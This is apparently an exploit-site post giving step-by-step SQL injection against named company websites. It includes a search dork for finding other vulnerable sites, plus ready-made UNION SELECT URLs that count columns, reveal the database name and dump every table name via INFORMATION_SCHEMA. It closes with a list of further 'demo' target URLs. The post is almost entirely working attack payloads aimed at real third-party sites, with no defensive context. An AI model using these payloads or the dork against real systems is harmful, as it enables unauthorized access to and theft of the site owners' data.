# Title : SQL INJECTION Vulnerability # Author : B14ck_Dz { N00b *-* } # Tested On : Backbox (Linux) # Dork : inurl:"product.php?id=" [+] Vulnerable URL : http://www.cschair.com.tw/products.php?TypeID=[id]&CateID=&ID=[id] Let Us Try on This Vulnerable URL ===> [*] E.X : http://www.cschair.com.tw/productsinfo.php?TypeID=1&CateID=&ID=48 [!] Number of Columns : 16 ===> ( http://www.cschair.com.tw/productsinfo.php?TypeID=1&CateID=&ID=48 order by 16 ) [!] Vulenrable Record : (9,10,11) ===> ( http://www.cschair.com.tw/productsinfo.php?TypeID=1&CateID=&ID=-48 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 ) [!] Dumping Database Name : ===> ( http://www.cschair.com.tw/productsinfo.php?TypeID=1&CateID=&ID=-48 union select 1,2,3,4,5,6,7,8,CONCAT_WS(0x203a20,DATABASE()),10,11,12,13,14,15,16 ) [!] Dumping All the Tables in the DATABASE Using {HACKBAR} : ( http://www.cschair.com.tw/productsinfo.php?TypeID=1&CateID=&ID=-48 union select 1,2,3,4,5,6,7,8,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),10,11,12,13,14,15,16 ) [+] Demo : [*] http://www.cschair.com.tw/productsinfo.php?TypeID=5&CateID=&ID=93 [*] http://www.ampak.com.tw/product.php?id=21 [*] http://www.microtek.com/products.php?KindID=6&ID=1